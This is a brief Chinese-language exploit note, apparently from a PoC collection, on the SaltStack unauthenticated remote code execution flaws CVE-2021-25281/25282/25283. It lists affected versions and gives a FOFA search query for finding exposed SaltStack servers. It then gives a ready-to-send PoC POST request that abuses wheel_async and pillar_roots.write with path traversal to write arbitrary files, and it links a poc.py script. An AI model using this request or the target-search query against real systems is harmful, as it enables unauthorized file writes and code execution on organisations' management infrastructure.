Saltstack 未授权RCE漏洞 （CVE-2021-25281/25282/25283）
SaltStack套件是政企机构 IT运维管理人员常用的管理工具，利用这些漏洞，最严重情形可导致未授权远程代码执行。
漏洞分析见：https://mp.weixin.qq.com/s/QvQoTuQJVthxS07pbLWJmg
云鼎实验室：首发分析 | SaltStack远程执行代码多个高危漏洞透析（CVE-2021-25281/25282/25283）
FOFA：
app="SALTSTACK-产品"
影响版本：
- Saltstack 3002.2之前的所有版本
- SaltStack =< 3002.2
- SaltStack =< 3001.4
- SaltStack =< 3000.6
- salt-api wheel_async未授权访问 (CVE-2021-25281)
- sdb rest插件模版渲染问题 (CVE-2021-25283)
- wheel/pillar_roots.py文件任意写漏洞 (CVE-2021-25282 )
CVE-2021-25281 + CVE-2021-25282 PoC：
http://target/run
POST:
"client": "wheel_async",
"fun": "pillar_roots.write",
"data": "../../../../../tmp/test2",
"path": "../../../../../tmp/test2",
"username": "password",
"password": "username",
"eauth": "pam"
poc.py:https://github.com/Immersive-Labs-Sec/CVE-2021-25281
ref：